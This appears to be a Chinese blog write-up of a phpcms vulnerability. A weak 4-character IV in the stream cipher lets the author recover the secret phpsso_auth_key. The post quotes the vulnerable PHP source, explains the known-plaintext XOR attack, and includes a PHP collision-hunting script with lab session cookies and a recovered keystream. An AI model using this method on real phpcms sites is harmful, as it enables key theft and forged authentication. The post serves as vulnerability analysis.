phpcms 之密码学上的缺陷引发漏洞
in 漏洞分析 with 0 comment

phpcms 之密码学上的缺陷引发漏洞

in 漏洞分析 with 0 comment

上个学期刚刚开了现代密码学这个课,还想着这哪里用的着啊
但是看到这个漏洞的时候就感觉,学校教的还是挺有用的,好好学习天天向上。

漏洞分析

好了,不罗嗦了,这个漏洞是phpcms的phpsso_auth_key泄露这样一个洞,我们来看代码

public function account_manage_avatar() {

        $memberinfo = $this->memberinfo;

        //初始化phpsso

        $phpsso_api_url = $this->_init_phpsso();

        $ps_auth_key = pc_base::load_config('system', 'phpsso_auth_key');

        $auth_data = $this->client->auth_data(array('uid'=>$this->memberinfo['phpssouid'], 'ps_auth_key'=>$ps_auth_key), '', $ps_auth_key);  //传入了 phpsso_auth_key

        $upurl = base64_encode($phpsso_api_url.'/index.php?m=phpsso&c=index&a=uploadavatar&auth_data='.$auth_data);  

        //获取头像数组

        $avatar = $this->client->ps_getavatar($this->memberinfo['phpssouid']);

        

        include template('member', 'account_manage_avatar');

    }

其中php$ps_auth_key = pc_base::load_config('system', 'phpsso_auth_key');
这句就是从配置文件中读取phpsso_auth_key
紧接着这个$ps_auth_key就放进了$this->client->auth_data()这个函数中,那我们继续看看这个函数

public function auth_data($data) {

        $s = $sep = '';

        foreach($data as $k => $v) {

            if(is_array($v)) {

                $s2 = $sep2 = '';

                foreach($v as $k2 => $v2) {

                        $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);

                    $sep2 = '&';

                }

                $s .= $sep.$s2;

            } else {

                $s .= "$sep$k=".$this->_ps_stripslashes($v);

            }

            $sep = '&';

        }


        $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));

        return $auth_s;

    }

这个函数做的很简单,我们传进去的是一个数组
php array('uid'=>$this->memberinfo['phpssouid'], 'ps_auth_key'=>$ps_auth_key)
这个函数就是把这个数组的每个元素给组合起来,然后拼接,也就是uid=xxx&ps_auth_key=xxx
这样,最后它返回的是v=x&appid=x&data=xxxxx这样
这个函数看完了我们接着看下面一句

$upurl = base64_encode($phpsso_api_url.'/index.phpm=phpsso&c=index&a=uploadavatar&auth_data='.$auth_data);

这个$upurl是被输出的,我们可以猜到
这个应该是http://xxx.xxx.xxx/index.phpm=phpsso&c=index&a=uploadavatar&auth_data=v=x&appid=x&data=xxxxx
其中data后面是解密后的值,加密前的格式应该是uid=x&ps_auth_key=xxxx这样的格式。
我们来看看我们获取到的upurl访问:
http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1

QQ20170520-172303@2x.png
我们看看base64解密之后的值是什么
2.png
可以看到解密之后的结果格式跟我们刚刚推理的是一样的。
data=后面的字符串是uid=x&ps_auth_key=xxxxx加密之后的结果
我们再找一处 已知明文的用 phpsso_auth_key 这个密钥所加密的数据。
由于弱iv可碰撞,我们就可以得到 phpsso_auth_key 的值。
为什么,这里我们就要看phpcms它的加密算法了
phpcms/libs/functions/global.func.php

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

最后输出的结果是

return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_')

我们可以看看$keyc

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length))

算是一个iv,但是这个iv只有4位
也就是只有很容易碰撞出来,后面的$result是
php $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
这样的,看代码我们可以发现
当keyc相同的时候,后面$box[($box[$a] + $box[$j]) % 256])这部分其实是相同的
也就是说只要keyc相同,用于加密的秘钥就是相同的。
回到我们刚刚讲的,为什么我们需要再找一处已知明文和密文的地方
因为这个加密方法是直接亦或,也就是流密码的方式
如果我们把明文和密文亦或我们就得到了秘钥
但是秘钥每次都是变化的,因为keyc每次都是变的,我们能不能找到两个一样的秘钥呢?
答案是当然可以,只要找到keyc一样就可以了
这个函数最后返回的结果就是php $keyc.rtrim(strtr(base64_encode($result), '+/', '-_')
所以我们只需要看data=xxxx的前四位是不是相同,如果相同就是同一个keyc,秘钥就相同。
我们看看到哪里能够找到这个点呢?
在前台登入时,phpcms会向 api/phpsso.php 发送会员数据 用以支持单点登录。
而这个数据正是由phpsso_auth_key 这个密钥所加密的。在登入时抓包
3.png
code 后面的 密文所对应的明文格式为 action=synlogin&username=&uid=x&password=&time=time()
time() 就在我们抓的包里的time参数所对应的值 ,uid 在我们的会员头像的路径中可以看到
4.png
我们多登陆几次,获取足够多的code
然后用code的前4位跟我们data的前4位对比
如果相同,那么就找到了解密秘钥,解开data我们就得到了phpsso_auth_key,先写个脚本找碰撞。

<?php


$url = "http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1";

$txt = '#"(.*?)&callback#';

$t=strlen($url)-54+83;

$code  = array('bc9d','4213','91ed','452c','7499','19c8','d548','e399','84df','f451');


$i=0;

for(;;){


    $data = doGet($url);


    preg_match_all($txt, $data, $txts); 

    $txts = substr(base64_decode($txts[1][0]),$t);

    if (in_array(substr($txts,0,4), $code)){


        die($txts);


    }

    $i++;

    echo $i."--".substr($txts,0,4)."\n";


}

    

function doGet($url){


    $ch = curl_init(); 


    curl_setopt($ch, CURLOPT_URL, $url);

$header[]= 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, text/html, * '. '/* ';  

$header[]= 'Accept-Language: zh-cn ';  

$header[]= 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 ';  

$header[]= 'Host: localhost';  

$header[]= 'Connection: Keep-Alive ';  

$header[]= 'Cookie: PHPSESSID=2dl8157fhsorqc8s75m2tos2e7; drcvo_auth=005bAgUDVQJUUwUJAQUCUVYGUwFWAVIGAwYFCVFSVQQFIzBncmY0YyUhY2B2ZQYrYHUlEHBoJ3J3b2ZlcmJ2YWA0IFF2USN7JSJkfHxmNwJxdRQHZGgReWZiAVN9YmZTayUKdFdyAmMqNXRsdWYnKHFhJSp0ZgEDAAJS; drcvo__userid=1752UgdVVgBSCQcHUgMCVQtfVlFYC1oGUl5YAFYCV1RWVA; drcvo__username=b5f1BgQFBlZVVlRWBVIFAF8HVAQCUVQBVQAFWVUHUVhRVgRUAVMH; drcvo__groupid=db1fUwEFUwUICFNRAwEEV1BaVFEBDQBXU1ZQB1IDVgRXUA; drcvo__nickname=758aBwVRCARRBVFUAQBRAgJTBl1VCgwDBVBWVFlZU1IBVFlW';  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch,CURLOPT_HTTPHEADER,$header);   

    $response = curl_exec($ch);


    curl_close($ch);


    return $response;


}


?>

就是比对前4位,如果相同就显示出来,最后显示出来的是7499开头的
5.png
填入poc
6.png
其中$string是去掉了前四位,就是$result,是加密之后的结果
在$str中填充了10个0和16个1,为什么?
这要去看前面sys_auth()这个函数
其中的对$string的处理就是,先加10位时间位,再加16位校验位,
而我们不知道这些是什么,就用1和0来代替
因为我们已知的明文足够长,超过了秘钥的长度,所以我们肯定能解出秘钥。
这个亦或之后的结果是ce8e83e7d1g15d1b01f46d<fa492cdefce8e83e7d157ae10c7ff468a4792cdefce8e83e7d157ae10c7f
把它分块

ce8e83e7d1g15d1b01f46d<fa492cdef

ce8e83e7d157ae10c7ff468a4792cdef

ce8e83e7d157ae10c7f

由于前面是我们不知道的,随意填充了一部分
所以第一段应该是不对的,中间一段就是确定的秘钥
ce8e83e7d157ae10c7ff468a4792cdef
接下来就是解密data,过程跟刚刚差不多
7.png
这样,我们就得到了auth_key,拿到了这个真的可以为所欲为了

Comments are closed.